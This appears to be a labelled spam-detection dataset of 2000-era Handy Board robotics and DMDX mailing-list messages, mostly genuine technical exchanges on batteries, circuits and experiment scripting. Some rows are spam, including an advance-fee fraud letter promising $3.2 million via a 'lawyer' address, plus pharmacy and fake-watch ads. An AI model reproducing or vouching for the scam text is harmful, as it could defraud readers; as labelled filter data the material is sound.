batteries and connected into the power socket. As you can imagine powering the comms convertor and hb during the construction and testing phase is a reasonable time so personally I would recommend using the nimh cells to increase running time. The nickel hydride batteries that I am using are rated at 1300mAh (1.3Ah) so are significantly larger in capacity than the Nicad battery packs. If you need more capacity, the C cells are rated at 2200mAh (2.2Ah) which should be enough for most applications. They are more expensive though as they were bought as packs of two cells (actually I got 4 with the wall-wart charger). If you bought the 'tagged' style of cell you could effectively build your own 9.6 volt battery pack using nimh cells to fit into the base of the hb the same way as the normal pack. The problem you need to watch for when you put battery packs in parallel is that the cells of each pack will be slightly different in their charging/power characteristics. Preferably have both packs completely discharged before connecting them together (away from the hb) as the packs could have slightly different voltages and you could get a reasonably high current flow from one battery to the other. Assuming that both packs are discharged, when they are connected together and connected to the hb they will both charge up to the same level so any differences should have no effect. Obviously the charge time will be higher than before (probably up to twice as long). Be careful with this configuration though, as the supply to the hb will now be capable of sending double the amount of current though your board in the event of a short circuit. Hope this helps. John ",0,0 nico kamminga ,handyboard@media.mit.edu,"Tue, 19 Sep 2000 09:06:35 +0000",Re: Fuzzy Logic,"In lugnet.robotics.handyboard, sakar@servidor.unam.mx writes: >Does any body know where I could find code, to run fuzzy logic on a HC11? > > Thanks Daniel The Motorola reference manual (cpu12rm.pdf at motorola-site) of the 68hc12 (successor of 6811) section 9 has a practical approach to fuzzy logic. The special 68hc12 instructions are easy to implement in 68hc11 code. ntk. ",0,0 """Christopher R. Sears"" ",DMDX@psy1.psych.arizona.edu,"Tue, 19 Sep 2000 09:50:50 -0600",[DMDX] Re: 2.1.00," ""j.c.f."" wrote: > At 05:08 PM 9/17/00 -0600, you wrote: > > > When I use the Input Test for the keyboard I get a list of keys in > > the window > >below, and then immediately thereafter the error message I noted above > >(""SetCooperativeFail""; ""The function called is not supported at this time""). > > Ok, makes sense, I enumerate the keys before acquiring the device. > > >When I attempt to use the keyboard as an input device in a script I get > >the same > >error message. This error did not occur with the previous version of DMDX > >using > >DirectX 5.0. The reason I suspected it had something to do with the extra > >keys > >is that these keys were not listed in the input window in the previous > >version of > >DMDX. Perhaps I need to re-install DirectX 7.0, and/or the keyboard device > >driver, or perhaps this problem is just unique to my machine. In any event, I > >*can* get a gameport device to function, and the latest version of the program > >solves all of the video problems I was having with the previous version, > >so I am > >happy. > > Gameport devices are polled so it's a different code path. I suspect > you may want to try re-installing DirectX 7 and generally perturbing the > state of your machine by deleting interesting things in the device manager, > like the keyboard, windows will re-detect it next time it boots. I have run > TimeDX 2.1.00 on at least 4 quite different machines now and see no > evidence of your problem -- but they're all '98 DX7 machines, maybe there's > a '95 DX7 issue here. Anyone else tested 2.1.00 out yet? > > -jonathan (j.c.f.) Good news -- re-installing the keyboard and the mouse eliminated these problems. As you note, this could be a problem specific to Windows 95. Thanks for your help. -- Chris -- ------------------------------------------------------------------------ Christopher R. Sears, Ph.D. Office: Admin 264 Department of Psychology Email: sears@ucalgary.ca University of Calgary Web: http://www.psych.ucalgary.ca 2500 University Drive N.W. Phone: (403) 220-2803 Calgary, Alberta, Canada FAX: (403) 282-8249 T2N 1N4 ",0,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Tue, 19 Sep 2000 12:48:52 +0000",Re: Battery Power and handyboard.,"i'm not sure if wiring two nicad packs in parallel is a good idea. the packs would fight each other if either one's voltage varied even slightly from the other. i'd recommend either (1) John's initial suggestion of adding a separate pack solely for motor drive, cutting traces as he mentions, or (2) replacing the stock pack with a higher capacity one. get the best nicad you can fit into the case. should be able to get 900 mAh or better. just don't go nickel metal hydride; those require a different (more complicated) charging circuit. fred In your message you said: > Jerry, > I really haven't timed how long a battery charge lasts on the Handyboard but I > did add a second 9.6v battery pack for the purpose of isolating the motor > power from the logic circuit power. I did this to eliminate motor RF > interference to the sensor readings. As a side effect my time between > recharges has increased. I had to cut the motor power trace and ad a jumper to > the expansion board to power the motors, expansion servos and lego ports. I > see no reason why you couldn't just add another 9.6v battery pack in paralle l > to the original. In this way you would maintain the 9.6v input but effective ly > double your ampere hour capacity and your time between recharges. > John Edwards ",0,0 Mrs MELISSA EDWARD ,DMDX@psy1.psych.arizona.edu,"Tue, 19 Sep 2000 11:08:26 -0200",PLEASE LET ME KNOW IF YOU RECEIVED IT," Hello, My name is Mrs. Melissa Edward I am a dying woman who had decided to donate what I have to you. I am 59 years old and was diagnosed of cancer about 2 years ago, after the death of my husband who had left me everything he worked for. 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I wish you all the best and may the good Lord bless you abundantly, and please use the funds well and always extend the good work to others. Kindly Contact my lawyer through this email address raymlindon@netscape.net if you are interested, so that he can arrange the release of the funds ($3,200,000.00) to you. I know I have never met you but I have been directed to do this by God, and i hope you act sincerely. NB: I will appreciate your utmost confidentiality in this matter until the task is accomplished, as I don't want anything that will jeopardize my last wish, due to the fact that i do not want relatives or family members standing in the way of my last wish. Happy Love, Mrs. M. Edward ",1,0 John Hatton ,"""Fred G. Martin"" , HB Mailing list ","Tue, 19 Sep 2000 15:22:00 +0100",Re: nimh batteries,"Should I modify the hb circuit to disable the recharge circuitry if I am using nimh batteries or will the circuitry just not recharge the batteries ?, i.e. no damage to the cells by using them on an 'as-is' board. As an extra question to the list in general, does any one know what circuitry is used to recharge the nimh batteries ?, I don't want to dismantle my charger to find out so any information would be greatly appreciated Thanks for your help. John Hatton johnhatton@email.com ",0,0 Rodrigo Cruz ,handyboard@media.mit.edu,"Tue, 19 Sep 2000 22:05:40 +0000",I need help! ! !,"Hi everyone, I'm studying C programing now, but I've had my handy board for more than a year now, I want to now if anyone has a small project, just a motor and some sensors, with all the code I have to put, and how to put the code in the IC program and down load it to my board. I want to start practicing now. thanks ",0,0 """Blowsy L. Wheeling"" ",Bait ,"Tue, 19 Sep 2000 19:18:28 -0400",Premier,"Man's Health Anti-Depressants Antibiotics Cholesterol Diabetes Diuretic Pain Relief Sexual Health Sleep Aids Weight Loss and more on Premier Pharwmacy http://crosborde.com/?UHJENDU1NaQBhFWlZBR1ZbUHRQXBxQVQ== ghfgdrtpu U1NaQBhFWlZBR1ZbUHRQXBxQVQ== ",1,1 Jerry Normandin ,handyboard@media.mit.edu,"Thu, 21 Sep 2000 04:07:22 +0000",Spazbot Homepage updated.. adding more!,"OK.. So now that my Explorer code has been perfected and I got more of the servo twitch out of Spazbot, I found time to update the web site! http://nfn.no-ip.com I registered with the Dynamic DNS nameserver, lets see how well it works. Just before my DHCP lease expire I kill -HUP pump (dhcp client) and force update my ip addess. I then run my DHCP client code and update my dns entry. Right now they update ever 4 hours so I do this on a Sunay morning at 4:00 AM, 25th of every month. I am now looking for MPEG encoders for Linux that way the video of Spazbot won't be so huge. I am working on Isometric photos too! ",0,1 Jerry Normandin ,handyboard@media.mit.edu,"Thu, 21 Sep 2000 04:14:42 +0000",Spazbotlink,"OOPS sorry, I forgot to give the complete url It's nfn.no-ip.com/spazbot ",0,0 John Hatton ,HB Mailing list ,"Thu, 21 Sep 2000 15:51:58 +0100",Re: nimh batteries,"Would installing a diode (power diode, >3A ?) into the +ve line of the battery pack be suitable to prevent the power circuitry of the HB from trying to recharge the nimh cells ?. Or do I actually need to do anything at all ?, i.e. the nimh cells just won't recharge ?. Any information would be greatly appreciated. John Hatton johnhatton@email.com John Hatton wrote: > Should I modify the hb circuit to disable the recharge circuitry if I am using > nimh batteries or will the circuitry just not recharge the batteries ?, i.e. no > damage to the cells by using them on an 'as-is' board. > > As an extra question to the list in general, does any one know what circuitry is > used to recharge the nimh batteries ?, I don't want to dismantle my charger to > find out so any information would be greatly appreciated > > Thanks for your help. > > John Hatton > johnhatton@email.com ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 21 Sep 2000 18:36:17 +0000",Re: nimh batteries,"the issue with nimh is that plain trickle charge is not appropriate. you must remove charge current when the cells are full charge. the HB charge circuit just doesn't do that. i'd really recommend switching back to nicad. fred In your message you said: > Would installing a diode (power diode, >3A ?) into the +ve line of the batte ry pack > be suitable to prevent the power circuitry of the HB from trying to recharge the > nimh cells ?. Or do I actually need to do anything at all ?, i.e. the nimh c ells > just won't recharge ?. > > Any information would be greatly appreciated. > > John Hatton > johnhatton@email.com > > John Hatton wrote: > > > Should I modify the hb circuit to disable the recharge circuitry if I am u sing > > nimh batteries or will the circuitry just not recharge the batteries ?, i. e. no > > damage to the cells by using them on an 'as-is' board. > > > > As an extra question to the list in general, does any one know what circui try is > > used to recharge the nimh batteries ?, I don't want to dismantle my charge r to > > find out so any information would be greatly appreciated > > > > Thanks for your help. > > > > John Hatton > > johnhatton@email.com ",0,0 richard giuly ,handyboard@media.mit.edu,"Fri, 22 Sep 2000 03:41:08 +0000",Possible error in assembly guide.,"Near the end of the ""interface/charger serial circuit"" heading of the ""Assembling The Handy Board"" guide, it says measure the voltage of pin 6 of the MAX232, I did that and got -9.5 which is correct. Then I connected pin2 of j9 and pin6 of max232 so the green led would come on, that worked too. But the voltage on pin 3 of j9 is -7.9 (wrong according to the guide) when the green led is on. When I try jumpering pin 6 to pin 10 of the max232, voltage at pin 3 of j9 goes to -3 (also wrong). Without it connected, the voltage is -9 like it should be. I've ignored these slightly wrong readings, gone through downloading the pcode, and it appears to work fine. I think the guide is suggesting the wrong voltages, though I might just be testing wrong. ",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Fri, 22 Sep 2000 05:01:18 +0000",Re: Possible error in assembly guide.,"Are you getting a good ground???????????? If it works.. then hey! RS232 is +10 to -10 but there is room for slop! +7 to -7 will work too!!!!!!! It just won't drive a cable to the max length of the RS232 spec. Most of the time though people just don't have a good reference point and ground isn't ground. richard giuly wrote: > Near the end of the ""interface/charger serial circuit"" heading of the > ""Assembling The Handy Board"" guide, it says measure the voltage of pin > 6 of the MAX232, I did that and got -9.5 which is correct. Then I > connected pin2 of j9 and pin6 of max232 so the green led would come > on, that worked too. But the voltage on pin 3 of j9 is -7.9 (wrong > according to the guide) when the green led is on. > > When I try jumpering pin 6 to pin 10 of the max232, voltage at pin 3 > of j9 goes to -3 (also wrong). Without it connected, the voltage is -9 > like it should be. > > I've ignored these slightly wrong readings, gone through downloading > the pcode, and it appears to work fine. I think the guide is > suggesting the wrong voltages, though I might just be testing > wrong. ",0,0 John Hatton ,HB Mailing list ,"Fri, 22 Sep 2000 10:37:46 +0100",Batteries again,"As Fred is recommending using nicads due to the constant trickle charge when connected to the mains adapter I have a question regarding the nicad batteries. If the batteries are trickle charged before they are fully discharged (usual practice I assume due to memory backup circuitry) won't the nicad 'memory' effect come into play ?. Does anyone have any experiences of this sort of problem with the HB ?. Thanks. John Hatton johnhatton@email.com ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Fri, 22 Sep 2000 12:01:32 +0000",Re: Batteries again,"in theory this can be a problem. in practice, as long as the nicads are occasionally allowed to fully discharge, they'll last for a good long time in fine condition. fred In your message you said: > As Fred is recommending using nicads due to the constant trickle charge when > connected to the mains adapter I have a question regarding the nicad batteri es. > If the batteries are trickle charged before they are fully discharged (usual > practice I assume due to memory backup circuitry) won't the nicad 'memory' > effect come into play ?. Does anyone have any experiences of this sort of > problem with the HB ?. > > Thanks. > > John Hatton > johnhatton@email.com ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Fri, 22 Sep 2000 13:09:19 +0000","Re: Batteries again, sorry","you're almost right. if you plugged a nimh pack into the HB's charge jack, the external pack would charge the internal batteries. but it would not power the board significantly. this is because the HB's charge jack includes a current-limit resistor (designed to allow the correct current for indefinite trickle-charge). so you won't get enough current through to run motors or anything, you'll just trickle-charge the internal pack via the external source. while we're on the topic, the dangerous thing that you should *not* do is wire a high-current source (like a nimh pack) to deliver charge current through the RJ11 jack. this charge path is not current-limited internally to the HB (except via the fuse) and bad things can happen. the internal nicad pack will deliver and/or accept large amounts of current, causing big discharges of heat and potentially bad results (e.g. battery pack explosions). the fuse protects against this but why play with fire. are you having big battery life problems with the internal pack? fred In your message you said: > This should be my last question in terms of batteries. Assuming that I have > nicads powering the HB, what effect would there be if, when the batteries wer e > getting low, I connected a fully charged battery pack (e.g. containing the ni mh > cells) into the power jack ?. I imagine that the nimh pack should power the > board and charge the nicad pack slightly. Am I correct ?. I am now thinking o f > using the nimh cells as either a backup power supply or as a supply for the > comms converter board (which has the overall effect of the above question) so > that the hb batteries should only be powering the hb when connecting the > converter to a laptop where there is no access to mains power. > > Can someone confirm if my thoughts are viable ?. > > Thanks > > John Hatton > johnhatton@email.com ",0,0 Pamela Perschler ,DMDX ,"Fri, 22 Sep 2000 10:06:40 -0700",[DMDX] multiple responses,"I am trying to record the RTs of multiple responses to one frame any sugesstions? I would like the person to respond 5 times to a category. I do not want it to branch, just wait until the next frame. And no feedback (there is no right or wrong.) Pamela Sanity is the playgound for the unimaginative. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 22 Sep 2000 11:02:41 -0700",[DMDX] Re: multiple responses,"At 10:06 AM 9/22/00 -0700, you wrote: >I am trying to record the RTs of multiple responses to one frame any >sugesstions? > I would like the person to respond 5 times to a category. I do not want >it to branch, just wait until the next frame. And no feedback (there is >no right or wrong.) The you use the Zillion response mode, in the parameter line. IIRC the use of automatically turns feedback off but you can always use anyways. The output will be a .ZIL file and it will have all keystroke information for whatever the timelimit is after the clockon. If you want to only monitor a few keys (remembering that depressions, +keyname, are separate from releases, -keyname) then you can validate them with , once one keystroke has been validated only validated keystrokes are recorded. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everything put together, falls apart, sooner or later.",0,0 Pamela Perschler ,DMDX ,"Fri, 22 Sep 2000 17:40:39 -0700",[DMDX] RE: multiple responses,"Thanks for the help. I tried it and it still didn't work. Tried it on the old version and it worked.??? Sanity is the playgound for the unimaginative. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 22 Sep 2000 20:40:19 -0700",[DMDX] Re: RE: multiple responses,"At 05:40 PM 9/22/00 -0700, you wrote: >Thanks for the help. I tried it and it still didn't work. Tried it on the >old version and it worked.??? Define ""didn't work"". Define ""old version"". -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you don't care where you are, then you ain't lost. ",0,0 bahador bahrami ,DMDX@psy1.psych.arizona.edu,"Sat, 23 Sep 2000 18:36:22 -0000",[DMDX] how can i calibrate my monitor,"Dear friends, I am trying to setup a visual search paradigm with colorful target/distractors but i am not sure about my monitor's colorimetric values and my control over them. how can i calibrate my monitor so that i could make sure that the subjects are viewing an equiluminant scene throughout the experiment. sincerely, bbahrami _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 23 Sep 2000 09:48:14 -0700",[DMDX] Re: how can i calibrate my monitor,"At 06:36 PM 9/23/00 +0000, you wrote: >Dear friends, >I am trying to setup a visual search paradigm with colorful >target/distractors but i am not sure about my monitor's colorimetric >values and my control over them. >how can i calibrate my monitor so that i could make sure that the subjects >are viewing an equiluminant scene throughout the experiment. You will have to purchase a luminometer and you will have to measure the luminescence of every color you wish to display. The easiest way to do this would be to make an item file with items along the following lines and measure the luminance of the background (not the text, it'll be too small): 0 ""000 000 128"" ; 0 ""000 128 000"" ; 0 ""128 000 000"" ; 0 ""000 000 064"" ; 0 ""000 064 000"" ; 0 ""064 000 000"" ; 0 ""000 000 196"" ; 0 ""000 196 000"" ; 0 ""196 000 000"" ; With a couple of binary chop iterations you should come up with some equiluminent values fairly quickly. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you don't care where you are, then you ain't lost.",0,0 Joel Lachter ,DMDX@psy1.psych.arizona.edu,"Sat, 23 Sep 2000 10:12:49 -0700",[DMDX] Re: how can i calibrate my monitor,"If you can't afford a photometer/luminometer/colorimeter you could try doing flicker photometry. If you change the color of something at about 20 Hz it will appear to flicker. If you vary the colors, you will notice that the flicker is noticeably lower at the point where the two colors are equiluminant. Joel >At 06:36 PM 9/23/00 +0000, you wrote: >>Dear friends, >>I am trying to setup a visual search paradigm with colorful >>target/distractors but i am not sure about my monitor's colorimetric >>values and my control over them. >>how can i calibrate my monitor so that i could make sure that the subjects >>are viewing an equiluminant scene throughout the experiment. > > You will have to purchase a luminometer and you will have to measure the >luminescence of every color you wish to display. The easiest way to do >this would be to make an item file with items along the following lines and >measure the luminance of the background (not the text, it'll be too small): > >0 ""000 000 128"" ; >0 ""000 128 000"" ; >0 ""128 000 000"" ; > >0 ""000 000 064"" ; >0 ""000 064 000"" ; >0 ""064 000 000"" ; > >0 ""000 000 196"" ; >0 ""000 196 000"" ; >0 ""196 000 000"" ; > > With a couple of binary chop iterations you should come up with some >equiluminent values fairly quickly. > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > If you don't care where you are, then you ain't lost. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >====================================================================",0,1 Pamela Perschler ,DMDX@psy1.psych.arizona.edu,"Sat, 23 Sep 2000 11:16:51 -0700",[DMDX] RE: Re: RE: multiple responses,"It would not output multiple responses. It would only give the first RT. However when I tried it with the 1.1 version it the output was fine. Sanity is the playgound for the unimaginative. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 23 Sep 2000 18:46:34 -0700",[DMDX] RE: Re: RE: multiple responses,"At 11:16 AM 9/23/00 -0700, you wrote: >It would not output multiple responses. It would only give the first RT. >However when I tried it with the 1.1 version it the output was fine. Hmmm, looks like I must have broken something. While the contents of job1.zil indicate that it is indeed recording multiple responses DMDX 2.1.00 locks up after the fourth item on my home machine. I'll look at it next week, till then you'll have to use an older version. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you don't care where you are, then you ain't lost. ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Mon, 25 Sep 2000 14:48:58 +0100",[DMDX] Scrambling Clarification,"Hi. Just want to check something about scrambling. When I have as below, is the reason item 7 will not be displayed because the scramble and grouping parameters override the n parameter? The reason I ask is so that I can note in the tutorial that if you get your numbers wrong in your RTF file then DMDX will not print an error message, i.e. folk need to always double check carefully all their groups are the specified number. - Mike n7 f25 $ 0 ""The Start""; $ +1 * "" A 1 ""/; +2 * "" A 2 ""/; +3 * "" B 1 ""/; +4 * "" B 2 ""/; +5 * "" C 1 ""/; +6 * "" C 2 ""/; +7 * "" FOO ""/; $ 0 "" The End "" ; $ xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 25 Sep 2000 09:17:00 -0700",[DMDX] Re: Scrambling Clarification,"At 02:48 PM 9/25/00 +0100, you wrote: >Hi. Just want to check something about scrambling. When I have as below, >is the reason item 7 will not be displayed because the scramble and >grouping parameters override the n parameter? The reason I ask is so that >I can note in the tutorial that if you get your numbers wrong in your RTF >file then DMDX will not print an error message, i.e. folk need to always >double check carefully all their groups are the specified number. > >- Mike > >n7 f25 >$ >0 ""The Start""; >$ >+1 * "" A 1 ""/; >+2 * "" A 2 ""/; >+3 * "" B 1 ""/; >+4 * "" B 2 ""/; >+5 * "" C 1 ""/; >+6 * "" C 2 ""/; >+7 * "" FOO ""/; >$ >0 "" The End "" ; >$ It's probably because the number of items is not a multiple of your G parameter. Assuming you had 6 items you would want S3 G2. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you don't care where you are, then you ain't lost.",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Mon, 25 Sep 2000 17:24:10 +0100",[DMDX] Re: Scrambling Clarification,"At 09:17 25/09/00 -0700, JCF wrote: >At 02:48 PM 9/25/00 +0100, Mike Ford wrote: >>Hi. Just want to check something about scrambling. When I have as below, >>is the reason item 7 will not be displayed because the scramble and >>grouping parameters override the n parameter? The reason I ask is so that >>I can note in the tutorial that if you get your numbers wrong in your RTF >>file then DMDX will not print an error message, i.e. folk need to always >>double check carefully all their groups are the specified number. >> >>- Mike >> >>n7 f25 >>$ >>0 ""The Start""; >>$ >>+1 * "" A 1 ""/; >>+2 * "" A 2 ""/; >>+3 * "" B 1 ""/; >>+4 * "" B 2 ""/; >>+5 * "" C 1 ""/; >>+6 * "" C 2 ""/; >>+7 * "" FOO ""/; >>$ >>0 "" The End "" ; >>$ > > It's probably because the number of items is not a multiple of your G >parameter. Assuming you had 6 items you would want S3 G2. Would it be possible to put in some additional error checking into the scrambling code to detect problems such as this? I have a suspicion that one of these days I'm going to get a visit from a distraught researcher who has lost data or failed to present all their stimuli due to an error like this. A simple check that the number of items in the experiment is an exact multiple of the group size would be useful. It would also be useful to have an option to override this diagnostic and still display the final set of items (i.e. to display the group in which there are items missing). Thanks, Matt **************************************************** Dr Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 ****************************************************",0,0 Stephan Adelsberger ,handyboard@media.mit.edu,"Mon, 25 Sep 2000 16:03:59 +0200",robot contest,"Ever wanted to join a robot contest? No events in your area? Give your robot a try at F.IRC. Join the First Internet Robot Contest (F.IRC) for robotics hobbyists around the world. No entrance fee! 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A check somewhere else is also problematic as the rest of DMDX only parses the file after scramble has done it's stuff. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Praise the sea; on shore remain. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 25 Sep 2000 14:13:35 -0700",[DMDX] Re: multiple responses,"At 02:08 PM 9/25/00 -0700, you wrote: >At 11:16 AM 9/23/00 -0700, you wrote: >>It would not output multiple responses. It would only give the first RT. >>However when I tried it with the 1.1 version it the output was fine. > > Hmmm, looks like I must have broken something. While the contents of > job1.zil indicate that it is indeed recording multiple responses DMDX > 2.1.00 locks up after the fourth item on my home machine. I'll look at > it next week, till then you'll have to use an older version. Having just got the development system back together I tested zillion responses with 2.1.00 on the testbed and they function, if you are still having trouble email me a copy of your item file. Dunno what was wrong with the home machine, knowing it it could have been anything though. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Praise the sea; on shore remain. ",0,0 """Ness, Suzanne"" ",handyboard@media.mit.edu,"Mon, 25 Sep 2000 17:12:51 -0400",Out of Office AutoReply: robot contest,"I'm out of the office starting Mon, 9/25, returning Thurs., 9/28. Call Mike Kaphon 11325 with urgent matters. Thanks. ",0,0 Shelly Butts ,Ollie ,,re[7]:," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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Martin"" ",handyboard@media.mit.edu,"Tue, 26 Sep 2000 14:31:52 +0000",Re: Capacitor on Sonar Board,"look on the polaroid board itself. it has (or used to, anyhow) a blank space where you could mount a component that is labeled ""C7"". the cap goes there. if you absolutely cannot find a spot on the polaroid board labeled C7, they must have updated their design. fred In your message you said: > The instructions on connecting the Polaroid Ultrasonic Ranging System to the > Handy Board (at http://el.www.media.mit.edu/projects/handy- > board/software/sonar.html) say to be sure and install the 0.1 uF capacitor i n > the C7 position on the sonar board. It is unclear what is meant here. Is > this refering to the Polaroid 6500 ranging circuit board? If so, what is th e > C7 position? I can't seem to find any reference to ""the C7 position"" > > Steve Mosiman ",0,1 Steve Mosiman ,handyboard@media.mit.edu,"Tue, 26 Sep 2000 15:28:36 +0000",Found C7,"Fred, Thanks for the tip. You're right - it is printed on the board itself. I found it as soon as I put on my glasses. :-) Steve Mosiman ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 26 Sep 2000 13:29:33 -0700",[DMDX] Computer Boards," Judging by the latest catalog I have received from Computer Boards (the makers of the PIO12 clone we use with DMDX) the company is no longer Computer Boards but is now Measurement Computing (although the website appears to still be Computer Boards): http://www.measurementcomputing.com/ -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Praise the sea; on shore remain. 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I'll be making it interactive with places for people to directly post their own comment, ideas, etc. I'll also be working on new educational technologies. Some might be very related to the Handy Board world; others might be very different. This will be a business enterprise for me, so there will be commercial products in the future. The core Handy Board design will always be free, and I have strong beliefs in the value of free software, so I hope to navigate this transition in a way that's positive for all. I'm also (finally... cough) finishing my book. I've returned page proofs to my publisher, and I think it's scheduled to be available in January. See if you didn't know I was writing a book :-). OK, now two very practical matters: (1) The Handy Board home page is now officially: http://handyboard.com/ All updates to the site will be done there. I'll be adding banners to the MIT-hosted pages pointing to the new pages, but you may as well ""update your bookmarks"" now. (2) The MIT-hosted mailing list is going away. That's OK, because we've been using LUGNET for a year now, and LUGNET has graciously accepted us ""full time."" I'll be working with Todd Lehman of LUGNET to move people who are still on the MIT list over to LUGNET mail delivery, so if you're just a ""lurker,"" you won't see any interruption in service. However, e-mail sent to ""handyboard@media.mit.edu"" will be dropped. In order to post to the HB list, you'll need to sign up for posting privileges at LUGNET (at http://news.lugnet.com/news/post/setup/). Then, you can write and reply to messages on the web forms (http://news.lugnet.com/robotics/handyboard/), or by emailing the address ""lugnet.robotics.handyboard@lugnet.com"". Todd and I will be sending a separate email with more specifics to people still on the MIT list. We'll move you over, and then send information. So, that's it for now! See you at handyboard.com -- and check out the FAQ, it's served from a database now :-). Yours, Fred",0,1 Nick Taylor ,handyboard@media.mit.edu,"Mon, 02 Oct 2000 22:49:47 +0000",Re: announcing handyboard.com !,"Dr. Martin ... Good luck in your new steps down the path of life! -Nick ""Fred G. Martin"" wrote: > > Dear Handy Boarders, > > I'd like to officially announce some changes in the Handy Board > world. > > First, I've left MIT. My last day of work was August 31, 2000. I'm > don't have a new job yet, and I'm not sure when (or if) I'll have a > normal job. (I do have an application in progress for a faculty > position at a college in the Boston area. Keeping my fingers crossed, > my second interview is in November.) > > One of the things I'll be working on in the coming months is revamping > the Handy Board web site. I'll be making it interactive with places > for people to directly post their own comment, ideas, etc. > > I'll also be working on new educational technologies. Some might be > very related to the Handy Board world; others might be very different. > > This will be a business enterprise for me, so there will be commercial > products in the future. The core Handy Board design will always be > free, and I have strong beliefs in the value of free software, so I > hope to navigate this transition in a way that's positive for all. > > I'm also (finally... cough) finishing my book. I've returned page > proofs to my publisher, and I think it's scheduled to be available in > January. See > if you didn't know I was writing a book :-). > > OK, now two very practical matters: > > (1) The Handy Board home page is now officially: > > http://handyboard.com/ > > All updates to the site will be done there. I'll be adding banners to > the MIT-hosted pages pointing to the new pages, but you may as well > ""update your bookmarks"" now. > > (2) The MIT-hosted mailing list is going away. That's OK, because > we've been using LUGNET for a year now, and LUGNET has graciously > accepted us ""full time."" > > I'll be working with Todd Lehman of LUGNET to move people who are > still on the MIT list over to LUGNET mail delivery, so if you're just > a ""lurker,"" you won't see any interruption in service. > > However, e-mail sent to ""handyboard@media.mit.edu"" will be dropped. > > In order to post to the HB list, you'll need to sign up for posting > privileges at LUGNET (at http://news.lugnet.com/news/post/setup/). > Then, you can write and reply to messages on the web forms > (http://news.lugnet.com/robotics/handyboard/), or by emailing the > address ""lugnet.robotics.handyboard@lugnet.com"". > > Todd and I will be sending a separate email with more specifics to > people still on the MIT list. We'll move you over, and then send > information. > > So, that's it for now! See you at handyboard.com -- and check out the > FAQ, it's served from a database now :-). > > Yours, > Fred",0,1 Amy Cole ,DMDX@psy1.psych.arizona.edu,"Tue, 03 Oct 2000 14:45:10 +0000","2006 Global Digital Media - Convergence, Triple Play and IPTV","I enclose details of our latest Global Digital Media Report. Annual report on: Digital TV, iTV, broadband TV, IPTV, VoiP, cable TV, pay TV, VoD, media centres, FttH, convergence, DVR, PVR, branding, customer service, permission based marketing, regional overviews: Europe, USA, Asia, Canada, Australia, New Zealand. Report also contains: Triple Play business Models Branding, Customer Services, Marketing Strategies Bundling voice, broadband and video services Digital, Interactive, IPTV and Mobile TV Key Trends , Developments and Analyses Technologies and Services Regional Overview The media market is on the verge of massive changes. With the convergence of telecoms, media and IT, we see the arrival of Digital Media. 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The most common failure mode that I am seeing results in the following: The computer goes into bootstrap mode, and I can program it (the lights flash etc), but it doesn't seem to run properly (I get 16 black rectangles on the LCD), though the 6811 clock is running. Is this failure mode common (I have it on multiple boards) and is there a known fix? Thanks ",0,0 Gary Livick ,handyboard@media.mit.edu,"Wed, 04 Oct 2000 16:45:21 +0000",Re: Trouble with handyboards,"It is common when polarized caps are put in backwards! Some of those little beggars are hard to see, and easy to get backwards. Other things, such as solder bridges or bad solder joints, can be a problem. Some have even reported finding debris under there processor chips as they sit in the socket that shorts out pins sometimes, sometimes not. The problems you are experiencing are user generated. Once in a great while a hex inverter chip goes out and causes some problems, but that is rare and would not be expected to occur in a bunch of boards. To start off in figuring out what is going on, check for 5 volts in various parts of the circuit. A short somewhere will pull the voltage down. Next, feel around for things that are getting 